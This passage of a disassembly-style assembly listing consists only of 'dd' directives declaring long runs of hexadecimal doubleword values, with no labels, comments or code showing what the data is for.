		dd 0D9FA2046h, 8AE48228h, 91589D95h, 0B03F8C43h, 0D0764E3Ch
		dd 4B64ECBCh, 0EA0BFF7Dh, 590A87F2h, 18447928h,	35F100B4h
		dd 564F34F6h, 1D61F481h, 96E95AA8h, 940F8032h, 0F0004BDBh
		dd 48FE1E01h, 27362325h, 4F491CD8h, 0C71A4754h,	0C43EC068h
		dd 784A9C1Dh, 37D5B80Bh, 0E1330040h, 0A874D28Fh, 8CE4634Ah
		dd 0C0A454A3h, 8BEE5AFAh, 0C025C86Ch, 0A4DA0F88h, 377D180Eh
		dd 4F872C8h, 956D127Dh,	0F2F8A287h, 52C73044h, 0EA3C2D03h
		dd 0AB8BB7A3h, 0B6A8092Eh, 0C47887A9h, 8A4FC909h, 5EC05E83h
		dd 1B1D2146h, 6A7E47C0h, 0B12E3035h, 0A827956Eh, 0AC446041h
		dd 13A8B16Bh, 17104540h, 0B2D8F4F8h, 84BC8773h,	84B5C940h
		dd 3B99196Eh, 7990A035h, 36B0031Ch, 9A7DD46Bh, 80807C55h
		dd 3B5DFB26h, 1C00D5DEh, 41C962E1h, 18CA5Eh, 697C883Fh
		dd 37A22D11h, 8697777Ah, 3A15D5Ch, 906C6BFh, 0B0E05E1Ah
		dd 0A29F222Dh, 58B370h,	622ED099h, 5402447Ch, 2F6E86CCh
		dd 0E4484513h, 8FA46024h, 854D03B5h, 457BA08Ah,	22E0A3B9h
		dd 9AE70920h, 0AF2C206Ah, 97939FFCh, 499AF48Eh,	0E5F49C00h
		dd 84168D86h, 0AC2F1359h, 45052323h, 2687767Ch,	3D438AA0h
		dd 0BB4A4B4h, 4F7BF899h, 45D9C851h, 3550A318h, 90249AD3h
		dd 0E50808C2h, 96BF0B50h, 4986D848h, 9B0A4Ch, 405BD1EDh
		dd 833E2Ch, 6407F43Bh, 49E0191Fh, 7E113300h, 0CB80467h
		dd 0FC802C4Bh, 0AD302669h, 9B720010h, 9186190Fh, 4EA80023h
		dd 0EB84197h, 1BF261BAh, 0ED121ED0h, 0F6549D00h, 1AFC96Fh
		dd 0DAF2E660h, 6E0650F3h, 4A23C83Bh, 36670200h,	16DCBFD8h
		dd 91776F11h, 0E46D8AC4h, 7C05B67Bh, 0BA16A5EDh, 0CE433480h
		dd 78AE04ADh, 0A85FC3B4h, 0B18000F4h, 20921C66h, 0D01E0B7Eh
		dd 10F2AC3Eh, 0BFE70D07h, 39190ADh, 0C8841123h,	0F127C3B2h
		dd 505BE22Ch, 0F6848978h, 0C8AE0ED2h, 1D6B875Eh, 109FEC50h
		dd 83ACB0h, 860CF696h, 1EB45BB2h, 7FBC38h, 1BB85F39h, 77D667DCh
		dd 350E5AB5h, 0B868F940h, 710E0034h, 9DA04172h,	872F42D4h
		dd 91941782h, 0A6C38082h, 420176h, 0F4C9D6C4h, 386DBD55h
		dd 0F159CE12h, 9FFA3490h, 268B6E3h, 0C1A892E2h,	1D3AC856h
		dd 1F12F229h
		dd 5A369CA0h, 97642C57h, 81AC00E5h, 0EA11FE4h, 51B00943h
		dd 0A0FF74A5h, 0B2273E8Ch, 566889AAh, 1465EECh,	6B82603h
		dd 8100344Bh, 728D53F0h, 38328575h, 97B2037h, 348BB5CDh
		dd 670D4058h, 796C8DADh, 3C986E2Eh, 0D8350059h,	0AF3E6334h
		dd 25ACB43Dh, 25E4A465h, 59376660h, 30E99C71h, 0B8A81118h
		dd 0C32D6BAAh, 0E55C1189h, 896811Fh, 506BF517h,	7C48C044h
		dd 1991C880h, 141A35B6h, 7C19C24Bh, 5600DC54h, 8ADE9140h
		dd 7B11A65h, 78BE0E86h,	1668EAF6h, 88F08F6Dh, 0B413C029h
		dd 0BC14D557h, 2EAEED2Dh, 8604E4AAh, 3CD50675h,	4BC860CBh
		dd 0A4864FC0h, 0EB410026h, 3E546A5Bh, 14133CA5h, 0F0C465A8h
		dd 1F706422h, 7D02C6BEh, 22A7B740h, 656CB4C1h, 41CC20CCh
		dd 0AE1AF67Bh, 0D9D06E0Dh, 1847D1F4h, 0CA1D1FEBh, 1A54A42Ch
		dd 460B133h, 0A90B1369h, 1D41FBD0h, 852211A4h, 32C050A0h
		dd 98268798h, 0B3822D18h, 7E819005h, 0C09B00F0h, 0CE88A57Bh
		dd 60F0474h, 0BDB96EE1h, 98F64B28h, 35801FE3h, 20B6B07Ch
		dd 48ABB382h, 0A4985F8Ah, 0ECA4556Ah, 321B2E1Dh, 0ECE99100h
		dd 2DC00FA2h, 0AC17D2BFh, 0DA804511h, 0E2D44F05h, 97790402h
		dd 8033ADC0h, 8C41EEF8h, 95340BB7h, 60477308h, 0E6600464h
		dd 66970FCFh, 2ECB0A8h,	7C20FAF1h, 30630ECCh, 2C014F92h
		dd 1838CFD9h, 9E14CD00h, 22A6172Eh, 53DC8F25h, 0B23B7008h
		dd 0E220D000h, 6FA9C032h, 0B45D1C93h, 0E0E02DABh, 3045A83Eh
		dd 6194CC20h, 66981990h, 0F20462F2h, 0C2813004h, 4D2D60B1h
		dd 0CC03C004h, 2FFF6DB2h, 223442Eh, 4217FD39h, 0CC8E95E3h
		dd 88C04888h, 7071A3F8h, 2AA3C9Ah, 8BE51905h, 0AC70EDF2h
		dd 0A934090Bh, 24596724h, 0DC80EA1Dh, 31BF53F5h, 0ADF0907h
		dd 6CE25DB6h, 0C63EBC1Dh, 22D1037Eh, 7B77B812h,	520B6900h
		dd 43AD1AF4h, 0ECC40EE5h, 19402B7Eh, 0FF141DEDh, 0B3F4E000h
		dd 0AB581A1h, 94979F53h, 0A7804491h, 25A8B05Ch,	0A229B704h
		dd 7AAE9460h, 0A3C31D48h, 0C20E85C0h, 4BBF4EB5h, 9DC88806h
		dd 0EF654A00h, 52098993h, 0D7203AD2h, 0E231600h, 5C8229CDh
		dd 0F384629Dh, 0B8F70FCh, 4F065800h, 3D8CCCAEh,	0D881B704h
		dd 69952C9Fh, 0BA880EF8h, 0B2F980D0h, 0F4E4DA1h, 0AC352B0Bh
		dd 80C674C5h, 52541556h, 0BE4ADF01h, 260DA897h,	663F820h
		dd 74F2170Eh, 544ED82Bh, 97312440h, 0E8E64377h,	0EDF0007Ch
		dd 5D24EE5Ch, 0FC12B816h, 0D04076CEh, 2FE26D7Bh, 4C79F70h
		dd 4E602064h, 77AFB77h,	7B863Ch, 24B7B195h, 25AD351Fh
		dd 40452897h, 6B6123E4h, 0E6036FEEh, 8F3DFC39h,	172821ACh
		dd 0B0ADB035h, 0C310B44Ch, 0D21D4AB3h, 78976D66h, 0E6812191h
		dd 2F873341h, 3823202Fh, 0E57AC702h, 710C59F5h,	1CA71829h
		dd 40D452F3h, 721486Dh,	0E716FC0Fh, 6000C76h, 3F871B80h
		dd 3EC24AB0h, 0BC605F74h, 69A6508h, 0AC5FBC94h,	0F180C137h
		dd 0A0A0201Bh, 2C74B4EBh, 8098A912h, 7DE0C0E0h,	0FB2A0285h
		dd 2342F258h, 46C4C8E7h, 0BDD2A663h, 6A9D5C78h,	9F50FBCh
		dd 7120F073h, 0AE3F2EFBh, 0D2A3903Ch, 3AA838B9h, 0E488704Ah
		dd 73B11894h, 5AE3E852h, 3513E92Fh, 1C8580E4h, 2050F4D2h
		dd 1A304312h, 0E9CB80C8h, 0E23C3209h, 0B0233026h, 12EB0900h
		dd 0A558E08h, 28679F70h, 0CF602564h, 7526B1D3h,	0C00A141Eh
		dd 4F65F836h, 74C38457h, 5A14D891h, 12CD5A85h, 0C07C9AFCh
		dd 15ECB4BFh, 0D2400358h, 930AA8AEh, 5AF4A8E5h,	72C0C8DAh
		dd 0D9C5CC35h, 0A9B5FD09h, 6364C03Bh, 1F410193h, 21D8B86Ah
		dd 0ADAFE048h, 596F8004h, 50E301B0h, 6146B186h,	4CF51724h
		dd 0B21674BEh, 1CF3575Bh, 0FE300CB2h, 65E70058h, 0EB1B7C09h
		dd 0FC16BB4Ch, 0FC80279Fh, 0A2A88707h, 0D44648h, 76384277h
		dd 650EC75Ah, 0BF3F6A76h, 6E0E778Bh, 850978CCh,	70B157B9h
		dd 5CA2A423h, 0F2B47730h, 0F6C00BFh, 6BAB6493h,	184E72C7h
		dd 6EAE4444h, 0A9C9121Eh, 987209A8h, 71587887h,	396C34ABh
		dd 0ACA40418h, 0F8F852D1h, 0A2504922h, 0B5BFF62Ch, 5E1581D8h
		dd 0EC9F0930h, 0E09531FFh, 82289320h, 5017078h,	757BD92Bh
		dd 346C4273h, 1C6DEA10h, 2319F3B5h, 4F2BA7A8h, 4EC1E490h
		dd 525AA83Eh, 9079578Ch, 2C2E1832h, 2A4368E8h, 35291A30h
		dd 5C4EADA8h, 4887E442h, 7227101Fh, 0B85F0086h,	0D438984Dh
		dd 0CB01DBC3h, 337CA043h, 8981039h, 9B7A21EBh, 4A67DB00h
		dd 41D12DBBh, 0BAE9003Ch, 3450F9C3h, 7B90893Fh,	0DEF2CD00h
		dd 0CEC83836h, 0A49B0071h, 4D399229h, 330308E3h, 6D3745E0h
		dd 0B438F155h, 5CD078F0h, 0DB01A8F9h, 731D51DEh, 3770D0DDh
		dd 886120C0h, 66560F8h,	0C533A054h, 9800183Eh, 0CE19642h
		dd 1DA57B24h, 0DEFCE540h, 0BD9F009Ch, 9ABADBAAh, 3134C037h
		dd 35887111h, 19F1A6DCh, 87EB59Bh, 75218050h, 0C15A88AAh
		dd 0E86B0AECh, 9D80BB5Dh, 2DF9C049h, 0A825D21Eh, 0F8F10B30h
		dd 5DCA96h, 0B21CE433h,	11A6E126h, 22849D50h, 4A5AF000h
		dd 4DA23451h, 694360C0h, 77477FAEh, 8F9BD33Bh, 0F4E331h
		dd 0C9810E16h, 13AE7F6Fh, 4DA3A7h, 3FC03755h, 280183F5h
		dd 0F11DAFC1h, 5FDC4E19h, 0A1DFE5h, 1CB2EB6Bh, 0B9037156h
		dd 0C4A9C3A4h, 80338A9Ah, 0D63D66D8h, 7C500F43h, 9E262E36h
		dd 0EE155121h, 99E87E09h, 102631B0h, 0CADBC607h, 0B1C49843h
		dd 0DB9E7D40h, 0AA00A664h, 59B552B6h, 0CB8C2D9h, 0BAFFA4FEh
		dd 70C7B429h, 0DF616B0Eh, 0C43BD76h, 218FA0D3h,	0ED11C051h
		dd 7294F236h, 0B8931406h, 32085CCAh, 0C2097E9h,	2BFD1B60h
		dd 0C8A72400h, 0DEEBB99Fh, 1C694952h, 3F486B07h, 898C806Ah
		dd 0EF00C1A1h, 0D7298BDBh, 1D3AC13h, 0A3AA8474h, 0FDD1E4F8h
		dd 46388435h, 50986E37h, 0C5F904C9h, 32DD6325h,	81622174h
		dd 666BC8F8h, 0D8E3D700h, 230C9A3Ah, 959F2EDh, 0F2CE7C9Eh
		dd 60A77C04h, 23C2F9CAh, 2C20CB25h, 0F8825B00h,	6B316513h
		dd 9957F46h, 39C05A77h,	0E9C3242Fh, 41E16659h, 0CBF8C075h
		dd 0D6331505h, 0AC325152h, 60353186h, 2C567272h, 210330ACh
		dd 0F22E0Bh, 0C2131C0Eh, 479BC166h, 1D4B3722h, 0E223AFh
		dd 0CBAE672Bh, 3E28E977h, 0DE12F4E0h, 0B8609FBAh, 0EE3A8896h
		dd 8B448C8Eh, 88AB0E72h, 0ADEFDC8Ch, 0A08D5547h, 0B2CF642h
		dd 9036DF00h, 9F7806BBh, 482F494Dh, 0D8DBC480h,	448CC843h
		dd 9C007BB2h, 0AB3C6CDBh, 637AF1A1h, 88495897h,	11C4ACA0h
		dd 0BBB6B501h, 0AECEA730h, 30859442h, 7271F234h, 5226446h
		dd 0F22D0A0Fh, 3E20070Ch, 3D46DD47h, 41D804D9h,	0C0A04959h
		dd 9946CC04h, 5148C4Ch,	0F910BED0h, 0AE23682Eh,	0A055000h
		dd 7EBD6C1Dh, 8B0F32DDh, 323083B8h, 727014F2h, 8E0F034h
		dd 8201F22Bh, 7080790Dh, 3FEC2FA1h, 30814C71h, 11E45068h
		dd 886C839Dh, 317EBA30h, 0A9781089h, 0E2E1E288h, 0E3FE00FCh
		dd 0EE07B7D6h, 2230F4A7h, 0C9BB2935h, 0C06718C4h, 0A4E3D9B9h
		dd 70BA8B26h, 0A7C47265h, 9CC81C90h, 85880070h,	462D9BA9h
		dd 0C9DB4C65h, 0E5A4FB48h, 0FD16EC03h, 0C7100166h, 0C56F8F36h
		dd 980060E8h, 7788F88Ch, 22964633h, 0A8730942h,	4577D88h
		dd 0C49068F7h, 793C2BAh, 9ED3AD1h, 1CE8903Ch, 0BB0120ACh
		dd 0C2979D72h, 0F430480Fh, 23AD0194h, 0E17688FEh, 3C00209Bh
		dd 1DF34602h, 8067C03Dh
		dd 5992CA74h, 159E09BCh, 84B1BAFEh, 74201988h, 5C722B71h
		dd 97DC08E8h, 0F2280D03h, 0E2CE8975h, 0F38065h,	0F81DF7D1h
		dd 8DC07296h, 4BB36715h, 4C6526A0h, 0C1B96661h,	0B0218194h
		dd 9629F680h, 0E71A9A68h, 6121BFADh, 0C518280Ch, 428DDB09h
		dd 0C41C10h, 0E4DB9D74h, 0F3B70FB1h, 0AB5E520h,	0BE676039h
		dd 2BB3097Ch, 60A4BC84h, 23C3F88Fh, 6F117325h, 0F8875803h
		dd 6B88C227h, 0F9131DAEh, 4C080BE5h, 9982C0B4h,	48289673h
		dd 0AA287040h, 6E01BC37h, 0F46DFBF1h, 9C523C20h, 20DEC282h
		dd 0C1C887B0h, 0FED00067h, 9ADB63ECh, 68B93BD7h, 0C8BA4180h
		dd 16F557A4h, 0DED825h,	0D635D26Ch, 6B605324h, 0DA03C5B1h
		dd 970F00DDh, 3B7A5C7Eh, 60741F8h, 0BD746D83h, 32060BDBh
		dd 2DB80428h, 8EDBC260h, 1874277h, 47DB9A79h, 1DB0FF7Bh
		dd 0ACA09037h, 0A524D165h, 4514489Ch, 8C71BCB4h, 480F4E7Eh
		dd 6028620Bh, 0AC41F1BEh, 5EA42E1Ch, 7AD7E028h,	0CB376F2h
		dd 4471C4A9h, 57EE6518h, 986B2D24h, 0B19D8C0Dh,	8C9B5024h
		dd 3688721Fh, 0EC386ED2h, 88A70476h, 0D7E72441h, 6819C9C4h
		dd 0A884282Eh, 8C008CACh, 62B8A888h, 0D4A074E4h, 2440B099h
		dd 233C043Fh, 0C25176F0h, 0C049BF0Ch, 0F3219D73h, 7C95F605h
		dd 80339404h, 236C2A24h, 70E1008Bh, 0FA935A58h,	0C0305F75h
		dd 0C7FC2147h, 3DF21FE3h, 0CA500026h, 31F8536Bh, 0D81BF3EEh
		dd 0E578E50Eh, 17AF18CCh, 1DB6A2DAh, 0DE50E0h, 0E6511A37h
		dd 903A785Eh, 2E9F4A8Ch, 0D52310h, 0A34AA9DAh, 3B02E2BDh
		dd 52C2E799h, 4434486Ch, 26AC1C85h, 735700D2h, 16294A06h
		dd 98008176h, 4291E63Dh, 0F08575h, 3450EA3Ah, 53C76FF6h
		dd 0DD709E01h, 7C8CF7BEh, 9CFD1821h, 4F0FBB08h,	96219B45h
		dd 0E110983Ah, 76B9C097h, 0A0DB8421h, 3A0DBB88h, 0B331675Ah
		dd 295594E1h, 0AB1D003Ch, 0D4FAA69Fh, 3B890062h, 0C95C0CEAh
		dd 0A5009CCCh, 9D9BD5E5h, 4ACABA42h, 23382F5Ah,	9A880075h
		dd 80183324h, 0A70B9BF0h, 2994DDF6h, 0C47C45E0h, 939614Eh
		dd 2EBE7C20h, 0A0F4B0D0h, 9ADA3DF4h, 46173707h,	8C8C7A3Fh
		dd 2AB1A455h, 7ACF1C00h, 0BA904B7Eh, 7FFB0192h,	3FC03A45h
		dd 0C12DCC55h, 5D06CB1h, 0A0048698h, 2D80C14Ch,	9549F0C0h
		dd 0F71B004Dh, 0C58B70BEh, 1F30F4AAh, 3B47C93Fh, 9D41C14Ah
		dd 0CE41C73Ah, 0A41DB089h, 0E080B111h, 0C5B803F7h, 0F972A11Eh
		dd 22B7D2h, 9EB4A4D0h, 0A48E9562h, 37F046E5h, 7180E8B4h
		dd 99C0886Eh, 0C94A1FD5h, 0D35F1F69h, 4CC5432h,	8C72BCh
		dd 9D0905D1h, 57BA8E70h, 24F69300h, 0A9F912C1h,	0E092BCh
		dd 6CE2CB28h, 3610467Ah, 47F53E1Eh, 0BCCBC1D2h,	309806C4h
		dd 39AC823h, 9BCC161Bh,	0C5F0CF85h, 0E8CBC312h,	95F09060h
		dd 0E48904CAh, 8EA52221h, 0A39F4Ch, 0D3248A91h,	9C3D0F5Eh
		dd 166F01CAh, 0E15AD9CBh, 8008E093h, 0F03E4724h, 700AFC92h
		dd 0D8840ED1h, 6DED5786h, 0EE6CA0F0h, 982B333Ah, 0A8C04D7Ah
		dd 2898FC37h, 6740BF05h, 14D06AB8h, 50718941h, 181AD039h
		dd 282C87F0h, 1B35F4B4h, 0B83B4025h, 0A0004223h, 0E9131C45h
		dd 25C9C38Ah, 0C3A4C965h, 41F55254h, 0CBF667F4h, 1B25EC35h
		dd 0B92CA4A3h, 58DEAC98h, 3B0AE4E0h, 84D484C5h,	97DE23D8h
		dd 1A3913ECh, 4555FFB8h, 80054E4h, 896CBB0Eh, 0AC871Bh
		dd 707D4A22h, 0D0FDD6BAh, 0D15E4E0Ch, 4F4D41F2h, 39F06B46h
		dd 33F180C8h, 47B8256Eh, 82CB4EBh, 0E883A181h, 3DBDC0Ah
		dd 0C2CA9E18h, 7BE93AA0h, 97C43036h, 465EF89Eh,	4F690189h
		dd 6360DE4h, 0FA31C4h, 0D4B8F4ACh, 24AF7E90h, 0B04A4Ch
		dd 910E26BCh, 4938479Ch, 127E88D5h, 45DC06E9h, 93BD2EB4h
		dd 0D09F5D40h, 71EAFB29h, 679D9309h, 0A43091BFh, 883EF460h
		dd 0A500C259h, 0D9FC1966h, 0C93770Dh, 0A7874CF4h, 71048D08h
		dd 0A0C730C3h, 649917C4h, 23D7DBE8h, 0AF11C043h, 0DB9F7E03h
		dd 0A5909360h, 8E12C5DAh, 0E8915477h, 4EC8113Ch, 4BF10123h
		dd 0C4E28DDAh, 3ACC2819h, 82F02A8h, 84BB1DE8h, 0D660ABECh
		dd 257BC6F9h, 8E5F0087h, 0C795FFF8h, 67AC9F01h,	0A252F2A1h
		dd 76F41A4h, 12C80DCBh,	0A8A94E50h, 0DEE2C465h,	63771897h
		dd 0D04A8B0h, 0BD82D159h, 0BDF9FC93h, 0DCC8F88Bh, 0B7B5A0CEh
		dd 4A8140E8h, 0DC9C0209h, 5097BD5Dh, 60980208h,	99810663h
		dd 42708F00h, 13924ACh,	5C73B0DEh, 7580D8C5h, 0A22DC38Fh
		dd 58268460h, 2542239h,	0B0135A60h, 94906648h, 59EEE2CAh
		dd 0C24C1A02h, 0A06752A9h, 779423BCh, 1E903E0h,	0BDCE9960h
		dd 490BBE02h, 0D828C651h, 38EB04E0h, 8080394Eh,	9EF16458h
		dd 98B018B2h, 52805577h, 4959C06Dh, 7CAA85CEh, 2B674A00h
		dd 2E0936Ch, 2CF3007Fh,	0BB1CFBC8h, 0F0A8A552h,	83070A4Eh
		dd 895B9CF8h, 495FD4C0h, 819823D2h, 96F28439h, 0E384472h
		dd 0A5F23100h, 41D59167h, 9FB12859h, 3ACECC8h, 0CC4EC429h
		dd 3101F423h, 0CEC63DB5h, 0B7F0826Ch, 3B311E29h, 5194C27Dh
		dd 84DD24Ah, 4AE2AFC0h,	9199857h, 4BB1B267h, 182B2069h
		dd 0CCDB08C0h, 7771A843h, 15DBCCh, 7353328Fh, 9CAA7099h
		dd 7A8D3D14h, 94606AC4h, 0B894CF15h, 22DB0046h,	51502FA8h
		dd 18915234h, 0BC12982Ch, 0C0828848h, 7293F239h, 802C0C4Ah
		dd 9D90A00Fh, 2C21124Ah, 0F5100EBFh, 5C454EC9h,	0D96071E4h
		dd 0CA02BBA5h, 0E4538FACh, 249C5270h, 808440C0h, 0CE47834Ah
		dd 0B900862Ch, 72EC9A3Ah, 0C7B1AAD9h, 0B0409080h, 75E50F83h
		dd 3C2C312Ch, 3A6C467Ch, 4B10BD9Fh, 0A79ED400h,	4C53D998h
		dd 0E1FC484Fh, 0F762178Ch, 602CD1E6h, 0C20024C0h, 0F4CC2C0h
		dd 4180268h, 4612F52Ch,	0C74CF43Dh, 0C1C88524h,	8D379031h
		dd 2467BDF0h, 1C8A1E1h,	3E48B520h, 5031A642h, 273B040Fh
		dd 0FD808337h, 0B8BDF691h, 0B9F72150h, 0F4198BF1h, 56003867h
		dd 0F0DA048Fh, 1E3491Ch, 0B339DE19h, 20930D5Fh,	54312EC4h
		dd 0EE58E1E7h, 2D26D8h,	0E9C6CBCAh, 0C86A79F9h,	0CC8C1B03h
		dd 0F239DA17h, 7124D1A0h, 218B0h, 24F38BD6h, 7D5D3562h
		dd 4688E012h, 0C8CE9C9Ah, 1781F42h, 0F415E070h,	3809F21h
		dd 0C53A41D2h, 0F4105C9Dh, 8C50E8h, 562D6A15h, 0ADFABA5Eh
		dd 0EED8DA04h, 0C4818F58h, 4FD0B072h, 703CEB3Dh, 406C2116h
		dd 73FA6B5Ch, 9894DD53h, 0B22000D6h, 0FE5B9F1Ah, 12586E2h
		dd 0F748419Eh, 90426470h, 95897118h, 4232540Fh,	0CFB867BCh
		dd 7ED7B8A0h, 0B49A96B1h, 0E18CE91Dh, 12C7B2C4h, 9CE24C84h
		dd 0C531ADF2h, 70417631h, 960016C3h, 5A2DD164h,	91141DE1h
		dd 0FBF3804Fh, 96E01Ah,	50F5E3C2h, 65A6B934h, 0E7C02763h
		dd 65CF9ABCh, 60DFE4FCh, 14FE4B3h, 1B3B0B46h, 2CE89EF0h
		dd 80398800h, 0C53EF347h, 0B580BA41h, 0D55502FCh, 0B759BDB8h
		dd 44794C51h, 0E27EBA18h, 31DF3C18h, 0A0532070h, 1CDA0C30h
		dd 77A4EF26h, 0E942C0D1h, 0AE69578h, 0A83A7735h, 0ADF2D8A2h
		dd 44D930h, 134AB2CDh, 99873D1Eh, 50C59F28h, 5D837000h
		dd 7CA2E8E5h, 9084E217h, 4A6B0E2Eh, 78017B7Eh, 40543A21h
		dd 0D29EDD2Ch, 0A2BDA801h, 57CB2DDAh, 0DE8D20h,	0DC814216h
		dd 9BD65860h, 93747201h, 63AACA9Eh, 5A97B1F4h, 0B2D83422h
		dd 30EBB2E4h, 2B26D3C3h, 0B117ABA6h, 250A785Dh,	0AB002C98h
		dd 0BAF323C7h, 28C52476h
		dd 36A8031Ch, 5BE74A1Fh, 8E507284h, 0C0EBC87Ch,	0C6B406B1h
		dd 0C8F7BE1Fh, 0E7802118h, 9E6CA432h, 0EB4656A8h, 80F6BE03h
		dd 0F5D93DF4h, 0C8D8877Bh, 0A64231DCh, 0A2D069D9h, 0E170082Bh
		dd 52E99D82h, 978C406h,	89658B93h, 0F4AE5459h, 0F724656h
		dd 0FF6D8C0Bh, 38649F2Fh, 0B0879821h, 0E50583Ah, 78324D3Ch
		dd 56C903Fh, 60976D53h,	0C8B8CB9Fh, 13C5C3AEh, 0CBBA4280h
		dd 0DEE623ECh, 0B222DD0Bh, 0E3BC2052h, 1F2C587Fh, 182532B6h
		dd 0CB37190Ah, 9E9CD054h, 8D89D709h, 9CE804DBh,	41889361h
		dd 38F03687h, 6C7FA0F8h, 39770188h, 2DF9753Ah, 29B0087h
		dd 0EE413255h, 844C528h, 69E46807h, 8D123F67h, 5C1C5C46h
		dd 8A18E7h, 1E7F9794h, 530A9229h, 0A03F9C5Eh, 823A4423h
		dd 95941D7h, 1C2C4094h,	39740551h, 0A2993468h, 97E1F124h
		dd 585BFF0Ch, 20B7AC12h, 5B3C1DA0h, 1C57C902h, 713892F2h
		dd 0C7370070h, 0F4450D03h, 7F4A5300h, 11AE67D4h, 5DE818ABh
		dd 7C2E29BEh, 0A956F403h, 0B0D128C4h, 0BC721BFh, 8C8D8141h
		dd 70A9D048h, 856356FEh, 0E49AD7B0h, 13D983C3h,	0C0A0D510h
		dd 217712D8h, 85CA1F20h, 608CC46Ch, 98584305h, 1EAE04Eh
		dd 0C8BA44E2h, 0E832D8D1h, 3700CEF4h, 1DA9D93h,	0BE12F969h
		dd 24372DCCh, 0BFD5EF03h, 7998DAE5h, 747824E4h,	6D00B046h
		dd 0B688E9A3h, 93071085h, 45A6BBB1h, 0C412A41Ah, 0E6DDF490h
		dd 4A610CA2h, 9E702FD6h, 2402A40Bh, 448C6DB3h, 71F16076h
		dd 271B00E3h, 7EBF25E7h, 24B48AE9h, 25826288h, 0AD91E017h
		dd 72E35680h, 0B04EFDF9h, 20F79807h, 0AB640748h, 0B6314C5Dh
		dd 0BEC8D300h, 2B2C8B6Dh, 36733Ah, 37C481ACh, 214D12BAh
		dd 80843424h, 242467Ch,	54FBDD20h, 5B84F061h, 0C91041C0h
		dd 31CE393Bh, 0B2EC23FFh, 4A33075h, 84D1103Eh, 0D96548CDh
		dd 42ADE090h, 571C39ACh, 6F29B680h, 0AA9230A3h,	0C6F01D12h
		dd 0F5241481h, 0CFE33084h, 0E2D4B357h, 477D3071h, 0ED57BA0Ah
		dd 0F40AB4A2h, 5D4284E8h, 82B8A0E9h, 2EE0BD4h, 9EB18473h
		dd 0CE8064DDh, 55183C70h, 2E67FCB6h, 0B2F09460h, 793D2748h
		dd 0E5757044h, 0E6D68916h, 0EF476CC3h, 916C1FCBh, 6AC68002h
		dd 123CD28Fh, 0E2BF6755h, 0B14387B8h, 6465F3C0h, 503D2846h
		dd 7BD70548h, 524452A3h, 0F794B288h, 257EC078h,	5A00CE8Bh
		dd 0AE52B3D0h, 0EFFCEF23h, 10C97444h, 0E6B8487Dh, 530B3F75h
		dd 935DFC8Eh, 61E2D754h, 0D0C7E9Ah, 48DA50B2h, 0B0983870h
		dd 0F0B647E2h, 0E300F044h, 67BE97A4h, 0E27F7D25h, 26F4D398h
		dd 0E707D6C0h, 24AE4A8Ah, 60B69F34h, 6086FBB1h,	0E340F200h
		dd 4FF805E2h, 0CD99B367h, 0ACD068E4h, 94078CACh, 9AEAF203h
		dd 66F183FFh, 3E6079DDh, 87096F9Eh, 90E49C69h, 994CEF1Ch
		dd 0E245684Fh, 65A0C739h, 60B0E464h, 2FB909h, 79350D3Bh
		dd 0A4E50276h, 0AE5E8F09h, 0D9F87951h, 48F18AEh, 0B9A5B34Ah
		dd 80FC5Fh, 94284C04h, 90A69D65h, 0C2C43BE0h, 0F1CEE284h
		dd 0BB008097h, 0F0949F66h, 0B0465Ch, 0DA5C081Ah, 19E3EA6h
		dd 7FE5C401h, 10C05DB0h, 0EC1DA414h, 6AC10173h,	48B93574h
		dd 4189FD9Ah, 7C3FD648h, 8C4EF8ACh, 878BE900h, 162B9EC0h
		dd 74149459h, 3F1C8B46h, 6D6E4072h, 67CEE9F2h, 2CC8B94Bh
		dd 16DD5E3Ah, 88108B44h, 1D8CC1DFh, 5D4FDC5Bh, 8880844Ah
		dd 919F538Fh, 18D5795Ch, 0E60C00BCh, 48D3F367h,	0D0168AC5h
		dd 74A417F4h, 31E4605Dh, 8791379Ah, 3DF2AC00h, 326B305Ah
		dd 470A012Dh, 0A0EC9BFAh, 28F5E438h, 0F8988660h, 0BADE56E8h
		dd 9D9407ACh, 0B242E223h, 0C879DD7Bh, 0FD194471h, 3C7FE129h
		dd 0C88E4F7Ch, 22C07588h, 24AE152h, 2E38D853h, 2041A015h
		dd 0BA4E9298h, 5F130F2h, 0E04F0C98h, 7F152F78h,	0D0AE410h
		dd 0D1A2D600h, 6B63E870h, 19250E06h, 2EA24541h,	18E5DD08h
		dd 116044E4h, 0C4BC4A53h, 0E1465Eh, 74DBA763h, 5541501h
		dd 97C8E5CCh, 0A91C8836h, 0F884048Ch, 0A27B25C4h, 7C5DC03Ch
		dd 0E46068F8h, 0E0A109F4h, 0B082AD93h, 4700E68Ah, 1625444Eh
		dd 9EFB7C0h, 1451520Ch,	2718DCF9h, 0E4112802h, 7C6D86BAh
		dd 45BF0AD0h, 65E28090h, 0FBEF2CD6h, 0C074551Dh, 19EE43C3h
		dd 0E81C83F5h, 0A09CF12Dh, 1223C7F8h, 0A4CDE4F2h, 51031D68h
		dd 65AA532Bh, 0D99CA2FAh, 184E791Ch, 2D6F012Ch,	57FF13C1h
		dd 40D020AEh, 48B58918h, 8846C4B0h, 6C000669h, 0E979A9CFh
		dd 0E626D3C7h, 0D6AD0136h, 0DF387D82h, 0AACC4245h, 11F88D30h
		dd 888325C1h, 855E8370h, 8A80B6F8h, 307B5734h, 80913F27h
		dd 48B01030h, 0C1504E3Ch, 739FA2C8h, 0C038F71Ch, 481A0B2Ah
		dd 0F4F0DBECh, 41A65330h, 0FAAD7726h, 0BF9A3837h, 1196390Fh
		dd 93A8453Fh, 2690E210h, 465EB4DEh, 0B7D1178Ch,	832600EFh
		dd 0BCB67422h, 0E0DCF73Bh, 3ED970E8h, 1FC8B6C0h, 0BD2102F2h
		dd 90D44DBAh, 504674h, 755EEC43h, 9441464Eh, 0F4B4028Ch
		dd 3CF1321Ch, 0BB426400h, 0B51A3F3h, 92CD25D9h,	1278E8C9h
		dd 5C7260h, 9747F845h, 34217566h, 0D72F4CBAh, 94D010B5h
		dd 20B4B8CCh, 827A9D45h, 81F32230h, 59F9Ch, 0B8EB083Ah
		dd 23599A46h, 0A8D1BC4Bh, 0D91097F3h, 5982D8CAh, 8C3F019Ch
		dd 6010BA42h, 94A0BC78h, 0D1C03BE9h, 67AA9AD8h,	0F4A19FB1h
		dd 0C9218C99h, 374880EAh, 0B477AE1Eh, 81E82AF7h, 0DBD827BCh
		dd 0B39350B5h, 402850F1h, 372CCEE0h, 27D85493h,	0BCBB004Ah
		dd 740EC089h, 0DA32D912h, 563EC9E7h, 0B865ADA4h, 0C56006E4h
		dd 0DC00F1AAh, 6511C14Ch, 5E96FB52h, 8EB816A2h,	0CEEB88E4h
